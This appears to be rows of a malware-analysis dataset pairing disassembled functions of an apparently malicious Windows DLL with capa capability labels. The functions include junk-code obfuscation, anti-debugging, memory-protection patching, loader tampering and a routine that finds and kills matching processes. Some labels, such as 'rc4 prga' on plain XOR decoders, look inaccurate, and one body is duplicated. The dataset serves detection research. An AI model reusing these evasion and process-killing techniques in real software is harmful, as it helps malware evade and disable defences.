joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000d6f0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 4], ecx
mov eax, 1
test eax, eax
je 0x1000d816
mov ecx, dword [ebp - 4]
cmp dword [ecx + 0x38], 0
je 0x1000d728
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov ecx, dword [ebp - 4]
call fcn.1000d830
jmp 0x1000d82a
mov edx, dword [ebp + 0xc]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 4]
call fcn.10009c40
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], edx
cmp dword [ebp + 0x10], 0
jl 0x1000d7bc
jg 0x1000d750
cmp dword [ebp + 0xc], 0
jbe 0x1000d7bc
cmp dword [ebp - 8], 0
jl 0x1000d7bc
jg 0x1000d75e
cmp dword [ebp - 0xc], 0
jbe 0x1000d7bc
mov ecx, dword [ebp + 0x10]
cmp ecx, dword [ebp - 8]
jg 0x1000d77c
jl 0x1000d770
mov edx, dword [ebp + 0xc]
cmp edx, dword [ebp - 0xc]
jae 0x1000d77c
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp + 0x10]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0xc]
push edx
mov ecx, dword [ebp - 4]
call fcn.1000c1b0
push eax
mov eax, dword [ebp + 8]
push eax
call fcn.10005370
add esp, 0xc
mov ecx, dword [ebp - 0xc]
add ecx, dword [ebp + 8]
mov dword [ebp + 8], ecx
mov edx, dword [ebp + 0xc]
sub edx, dword [ebp - 0xc]
mov eax, dword [ebp + 0x10]
sbb eax, dword [ebp - 8]
mov dword [ebp + 0xc], edx
mov dword [ebp + 0x10], eax
mov ecx, dword [ebp - 0xc]
push ecx
mov ecx, dword [ebp - 4]
call fcn.1000c0a0
cmp dword [ebp + 0x10], 0
jl 0x1000d806
jg 0x1000d7ca
cmp dword [ebp + 0xc], 0
jbe 0x1000d806
mov edx, dword [ebp - 4]
cmp dword [edx + 0x4c], 0
je 0x1000d806
mov ecx, dword [ebp - 4]
call fcn.1000aa30
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x4c]
push ecx
mov edx, dword [ebp + 0xc]
push edx
push 1
mov eax, dword [ebp + 8]
push eax
call fcn.1002ea61
add esp, 0x10
xor ecx, ecx
mov edx, dword [ebp + 0xc]
sub edx, eax
mov eax, dword [ebp + 0x10]
sbb eax, ecx
mov dword [ebp + 0xc], edx
mov dword [ebp + 0x10], eax
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp + 0xc]
mov edx, dword [ebp - 0x10]
sbb edx, dword [ebp + 0x10]
jmp 0x1000d82a
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 4]
call fcn.1000d830
mov esp, ebp
pop ebp
ret 0xc
Function at 0x1000d950
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 4], ecx
mov eax, 1
test eax, eax
je 0x1000da6e
mov ecx, dword [ebp - 4]
cmp dword [ecx + 0x38], 0
je 0x1000d988
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov ecx, dword [ebp - 4]
call fcn.1000da90
jmp 0x1000da82
mov edx, dword [ebp + 0xc]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 4]
call fcn.1000a910
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], edx
cmp dword [ebp + 0x10], 0
jl 0x1000da1c
jg 0x1000d9b0
cmp dword [ebp + 0xc], 0
jbe 0x1000da1c
cmp dword [ebp - 8], 0
jl 0x1000da1c
jg 0x1000d9be
cmp dword [ebp - 0xc], 0
jbe 0x1000da1c
mov ecx, dword [ebp + 0x10]
cmp ecx, dword [ebp - 8]
jg 0x1000d9dc
jl 0x1000d9d0
mov edx, dword [ebp + 0xc]
cmp edx, dword [ebp - 0xc]
jae 0x1000d9dc
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp + 0x10]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 4]
call fcn.1000ca00
push eax
call fcn.10005370
add esp, 0xc
mov ecx, dword [ebp - 0xc]
add ecx, dword [ebp + 8]
mov dword [ebp + 8], ecx
mov edx, dword [ebp + 0xc]
sub edx, dword [ebp - 0xc]
mov eax, dword [ebp + 0x10]
sbb eax, dword [ebp - 8]
mov dword [ebp + 0xc], edx
mov dword [ebp + 0x10], eax
mov ecx, dword [ebp - 0xc]
push ecx
mov ecx, dword [ebp - 4]
call fcn.1000c9c0
cmp dword [ebp + 0x10], 0
jl 0x1000da5e
jg 0x1000da2a
cmp dword [ebp + 0xc], 0
jbe 0x1000da5e
mov edx, dword [ebp - 4]
cmp dword [edx + 0x4c], 0
je 0x1000da5e
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x4c]
push ecx
mov edx, dword [ebp + 0xc]
push edx
push 1
mov eax, dword [ebp + 8]
push eax
call fcn.1002f0ce
add esp, 0x10
xor ecx, ecx
mov edx, dword [ebp + 0xc]
sub edx, eax
mov eax, dword [ebp + 0x10]
sbb eax, ecx
mov dword [ebp + 0xc], edx
mov dword [ebp + 0x10], eax
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp + 0xc]
mov edx, dword [ebp - 0x10]
sbb edx, dword [ebp + 0x10]
jmp 0x1000da82
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 4]
call fcn.1000da90
mov esp, ebp
pop ebp
ret 0xc

Function at 0x1000dd20
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 0x42
mov dword [ebp - 4], 0
jmp 0x1000dd42
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xf
jge 0x1000dd81
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
movsx edx, byte [ecx + 0x72a9db26]
xor edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 4]
mov byte [eax], dl
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
and edx, 0x800000ff
jns 0x1000dd7c
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 8], edx
jmp 0x1000dd39
mov eax, 1
imul ecx, eax, 0xf
mov edx, dword [ebp - 0xc]
mov byte [edx + ecx], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4
Function at 0x1000df20
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 0xd7
mov dword [ebp - 4], 0
jmp 0x1000df42
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x1f
jge 0x1000df81
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
movsx edx, byte [ecx - 0x26700b95]
xor edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 4]
mov byte [eax], dl
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
and edx, 0x800000ff
jns 0x1000df7c
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 8], edx
jmp 0x1000df39
mov eax, 1
imul ecx, eax, 0x1f
mov edx, dword [ebp - 0xc]
mov byte [edx + ecx], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4

Function at 0x1000e1a0
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x1005d904]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
clc
jae 0x1000e1b8
pop esi
inc edx
pushf
push 0xa
Function at 0x1000e1c7
Capabilities:
Contain obfuscated stackstrings
Print debug messages

Disassembly:
jae 0x1000e1c5
jmp 0x1000e1c0
call fcn.1000e1c7
jae 0x1000e1c0
add esp, 4
jmp 0x1000e1cc
dec dword [esp]
jno 0x1000e1d1
jns 0x1000e1bc
jp 0x1000e1d5
add esp, 4
popf
jmp 0x1000e1dc
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1000e1f5
jne 0x1000e1f5
inc edx
jl 0x1000e1fa
jmp 0x1000e1fc
je 0x1000e1f7
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x1000e216
jne 0x1000e215
call 0x9304d29d
rol byte [ebx + eax*4], 0xf0
xor eax, 3
add eax, 4
xor eax, 5
je 0x1000e224
add eax, 0x1750374
jne 0x1000e224
call 0x35e527ee
mov byte [ebp - 0x1c], 0x25
mov byte [ebp - 0x1b], 0x73
mov byte [ebp - 0x1a], 0x25
mov byte [ebp - 0x19], 0x73
mov byte [ebp - 0x18], 0x25
mov byte [ebp - 0x17], 0x73
mov byte [ebp - 0x16], 0x25
mov byte [ebp - 0x15], 0x73
mov byte [ebp - 0x14], 0x25
mov byte [ebp - 0x13], 0x73
mov byte [ebp - 0x12], 0x25
mov byte [ebp - 0x11], 0x73
mov byte [ebp - 0x10], 0x25
mov byte [ebp - 0xf], 0x73
mov byte [ebp - 0xe], 0x25
mov byte [ebp - 0xd], 0x73
mov byte [ebp - 0xc], 0x25
mov byte [ebp - 0xb], 0x73
mov byte [ebp - 0xa], 0x25
mov byte [ebp - 9], 0x73
mov byte [ebp - 8], 0x25
mov byte [ebp - 7], 0x73
mov byte [ebp - 6], 0
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
clc
jae 0x1000e28f
jg 0x1000e21e
pushf
push 0xa
jae 0x1000e29c
jmp 0x1000e297
call 0x1000e29e
jae 0x1000e297
add esp, 4
jmp 0x1000e2a3
dec dword [esp]
jno 0x1000e2a8
jns 0x1000e293
jp 0x1000e2ac
add esp, 4
popf
jmp 0x1000e2b3
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1000e2cc
jne 0x1000e2cc
invalid
jl 0x1000e2d1
jmp 0x1000e2d3
je 0x1000e2ce
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x1000e2ed
jne 0x1000e2ec
call 0x9304d374
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x1000e2fb
jne 0x1000e2fb
call 0x9b5c415e
dec ebp
cld
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100274ff
mov esp, ebp
pop ebp
ret

Function at 0x1000e348
Capabilities:
Access peb ldr_data

Disassembly:
jae 0x1000e346
jmp 0x1000e341
call fcn.1000e348
jae 0x1000e341
add esp, 4
jmp 0x1000e34d
dec dword [esp]
jno 0x1000e352
jns 0x1000e33d
jp 0x1000e356
add esp, 4
popf
jmp 0x1000e35d
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1000e376
jne 0x1000e376
call 0x1fc116ca
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov dword [eax + 0x20], 0x20000
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x1000f370
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 8], 0
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.1000f430
add esp, 8
mov dword [ebp - 0xc], eax
lea edx, [ebp - 8]
push edx
push 0x40
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [ebp + 8]
mov byte [edx], 0xe8
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword [eax + 1], ecx
mov dword [ebp - 4], 5
jmp 0x1000f3c5
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
cmp eax, dword [ebp + 0x10]
jae 0x1000f3d8
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
mov byte [ecx], 0x90
jmp 0x1000f3bc
lea edx, [ebp - 8]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esp, ebp
pop ebp
ret

Function at 0x1000f470
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 0x40
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp dword [ebp + 0x10], 1
jle 0x1000f498
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
mov dword [eax], ecx
jmp 0x1000f4a0
mov edx, dword [ebp + 8]
mov al, byte [ebp + 0xc]
mov byte [edx], al
lea ecx, [ebp - 4]
push ecx
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov al, 1
mov esp, ebp
pop ebp
ret
Function at 0x10010960
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push 0x40
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea eax, [ebp - 4]
push eax
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esp, ebp
pop ebp
ret

Function at 0x100109c0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
lea ecx, [ebp - 8]
push ecx
push 0x40
push 4
mov edx, 1
imul eax, edx, 0
add eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp - 4]
mov dx, word [ebp + 0xc]
mov word [ecx], dx
mov esp, ebp
pop ebp
ret
Function at 0x10011170
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x148
mov eax, dword [0x1005d904]
xor eax, ebp
mov dword [ebp - 4], eax
mov byte [ebp - 0x135], 0
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 0xffffffff
je 0x100112ae
mov dword [ebp - 0x134], 0x128
lea eax, [ebp - 0x134]
push eax
mov ecx, dword [ebp - 0x144]
push ecx
call sub.KERNEL32.dll_Process32First
mov edx, dword [ebp - 0x12c]
push edx
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x140], eax
cmp dword [ebp - 0x140], 0
je 0x10011293
mov dword [ebp - 0x13c], 0
jmp 0x10011205
mov eax, dword [ebp - 0x13c]
add eax, 1
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 0xa
jae 0x10011286
lea ecx, [ebp - 0x148]
push ecx
push 7
lea edx, [ebp - 0xc]
push edx
imul eax, dword [ebp - 0x13c], 0xc
mov ecx, dword [eax + 0x1005d050]
push ecx
mov edx, dword [ebp - 0x140]
push edx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x10011281
cmp dword [ebp - 0x148], 7
jne 0x10011281
push 7
imul eax, dword [ebp - 0x13c], 0xc
add eax, 0x1005d054
push eax
lea ecx, [ebp - 0xc]
push ecx
call fcn.100297cd
add esp, 0xc
test eax, eax
jne 0x10011281
push 0
mov edx, dword [ebp - 0x140]
push edx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.100115a0
jmp 0x100111f6
mov eax, dword [ebp - 0x140]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x134]
push ecx
mov edx, dword [ebp - 0x144]
push edx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x100111c3
mov eax, dword [ebp - 0x144]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, byte [ebp - 0x135]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100274ff
mov esp, ebp
pop ebp
ret

Function at 0x100112d0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 3
mov dword [ebp - 4], 0
jmp 0x100112f2
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xb
jge 0x10011331
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
movsx edx, byte [ecx + 0x472aed4d]
xor edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 4]
mov byte [eax], dl
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
and edx, 0x800000ff
jns 0x1001132c
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 8], edx
jmp 0x100112e9
mov eax, 1
imul ecx, eax, 0xb
mov edx, dword [ebp - 0xc]
mov byte [edx + ecx], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4
Function at 0x100115a0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
xor eax, eax
test eax, eax
je 0x100115af
jne 0x100115ae
call 0x93050636
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
pop eax
xor eax, 3
add eax, 4
xor eax, 5
jl 0x100115bd
jmp 0x100115bf
je 0x100115ba
clc
jae 0x100115c4
sub dword [eax + 0x74], ebx
add esi, dword [ebp + 1]
je 0x100115c9
jne 0x100115c9
pop eax
pushf
push 0xa
jae 0x100115d6
jmp 0x100115d1
call 0x100115d8
jae 0x100115d1
add esp, 4
jmp 0x100115dd
dec dword [esp]
jno 0x100115e2
jns 0x100115cd
jp 0x100115e6
add esp, 4
popf
jmp 0x100115ed
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10011606
jne 0x10011606
call 0x1fc1495a
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
push 0xffffffffffffffff
call fcn.100310d8
clc
jae 0x10011623
shl byte [ecx], 1
pushf
push 0xa
jae 0x10011630
jmp 0x1001162b
call 0x10011632
jae 0x1001162b
add esp, 4
jmp 0x10011637
dec dword [esp]
jno 0x1001163c
jns 0x10011627
jp 0x10011640
add esp, 4
popf
jmp 0x10011647
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10011660
jne 0x10011660
and dword [ebx + eax - 0x15], edi
add esp, dword [ecx]
jl 0x10011665
jmp 0x10011667
je 0x10011662
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x10011681
jne 0x10011680
call 0x93050708
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x1001168f
jne 0x1001168f
call fcn.1001174f
add byte [ebx], dh
rol byte [ebp + 0x750374c0], 0
mov esp, 0
xor eax, eax
test eax, eax
je 0x1001169d
add esi, dword [ebp]
jne 0x1001169c
call 0x93050724
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
out 0x74, eax
sti
xor eax, 3
add eax, 4
xor eax, 5
jl 0x100116ab
jmp 0x100116ad
je 0x100116a8
clc
jae 0x100116b2
jp 0x10011699
je 0x100116b7
jne 0x100116b7
out 0x66, eax
pushfd
pushf
push 0xa
jae 0x100116c4
jmp 0x100116bf
call 0x100116c6
jae 0x100116bf
add esp, 4
jmp 0x100116cb
dec dword [esp]
jno 0x100116d0
jns 0x100116bb
jp 0x100116d4
add esp, 4
popf
jmp 0x100116db
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x100116f4
jne 0x100116f4
call 0x1fc14a48
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x100115d8
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
xor eax, eax
test eax, eax
je 0x100115af
jne 0x100115ae
call 0x93050636
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
pop eax
xor eax, 3
add eax, 4
xor eax, 5
jl 0x100115bd
jmp 0x100115bf
je 0x100115ba
clc
jae 0x100115c4
sub dword [eax + 0x74], ebx
add esi, dword [ebp + 1]
je 0x100115c9
jne 0x100115c9
pop eax
pushf
push 0xa
jae 0x100115d6
jmp 0x100115d1
call 0x100115d8
jae 0x100115d1
add esp, 4
jmp 0x100115dd
dec dword [esp]
jno 0x100115e2
jns 0x100115cd
jp 0x100115e6
add esp, 4
popf
jmp 0x100115ed
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10011606
jne 0x10011606
call 0x1fc1495a
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
push 0xffffffffffffffff
call fcn.100310d8
clc
jae 0x10011623
shl byte [ecx], 1
pushf
push 0xa
jae 0x10011630
jmp 0x1001162b
call 0x10011632
jae 0x1001162b
add esp, 4
jmp 0x10011637
dec dword [esp]
jno 0x1001163c
jns 0x10011627
jp 0x10011640
add esp, 4
popf
jmp 0x10011647
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10011660
jne 0x10011660
and dword [ebx + eax - 0x15], edi
add esp, dword [ecx]
jl 0x10011665
jmp 0x10011667
je 0x10011662
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x10011681
jne 0x10011680
call 0x93050708
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x1001168f
jne 0x1001168f
call fcn.1001174f
add byte [ebx], dh
rol byte [ebp + 0x750374c0], 0
mov esp, 0
xor eax, eax
test eax, eax
je 0x1001169d
add esi, dword [ebp]
jne 0x1001169c
call 0x93050724
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
out 0x74, eax
sti
xor eax, 3
add eax, 4
xor eax, 5
jl 0x100116ab
jmp 0x100116ad
je 0x100116a8
clc
jae 0x100116b2
jp 0x10011699
je 0x100116b7
jne 0x100116b7
out 0x66, eax
pushfd
pushf
push 0xa
jae 0x100116c4
jmp 0x100116bf
call 0x100116c6
jae 0x100116bf
add esp, 4
jmp 0x100116cb
dec dword [esp]
jno 0x100116d0
jns 0x100116bb
jp 0x100116d4
add esp, 4
popf
jmp 0x100116db
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x100116f4
jne 0x100116f4
call 0x1fc14a48
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x10011710
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 5
push 0
push 0
mov eax, dword [ebp + 8]
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
pop ebp
ret

Function at 0x10011730
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 0x26
mov dword [ebp - 4], 0
jmp 0x10011752
Function at 0x1001174f
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 4
jge 0x10011791
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
movsx edx, byte [ecx + 0x5e8de71]
xor edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 4]
mov byte [eax], dl
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
and edx, 0x800000ff
jns 0x1001178c
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 8], edx
jmp 0x10011749
mov eax, 1
shl eax, 2
mov ecx, dword [ebp - 0xc]
mov byte [ecx + eax], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4

Function at 0x100117e0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword fs:[0x30]
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx + 0xc]
add edx, 0xc
cmp dword [ebp - 8], edx
je 0x100118b3
cmp dword [ebp - 8], 0
je 0x100118b3
mov eax, dword [ebp - 8]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0xc]
cmp edx, dword [ecx + 0x18]
jne 0x100118a6
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x18]
mov dword [eax], edx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x1c]
mov dword [eax + 4], edx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x20]
mov dword [eax + 8], edx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x30]
mov dword [eax + 0x18], edx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
mov dx, word [ecx + 0x2c]
mov word [eax + 0x14], dx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
mov dx, word [ecx + 0x2e]
mov word [eax + 0x16], dx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x28]
mov dword [eax + 0x10], edx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
mov dx, word [ecx + 0x24]
mov word [eax + 0xc], dx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
mov dx, word [ecx + 0x26]
mov word [eax + 0xe], dx
mov al, 1
jmp 0x100118b5
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
mov dword [ebp - 8], ecx
jmp 0x10011802
xor al, al
mov esp, ebp
pop ebp
ret

Function at 0x10011b90
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 0x31
mov dword [ebp - 4], 0
jmp 0x10011bb2
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x14
jge 0x10011bf1
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
movsx edx, byte [ecx - 0xe0e17dc]
xor edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 4]
mov byte [eax], dl
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
and edx, 0x800000ff
jns 0x10011bec
dec edx
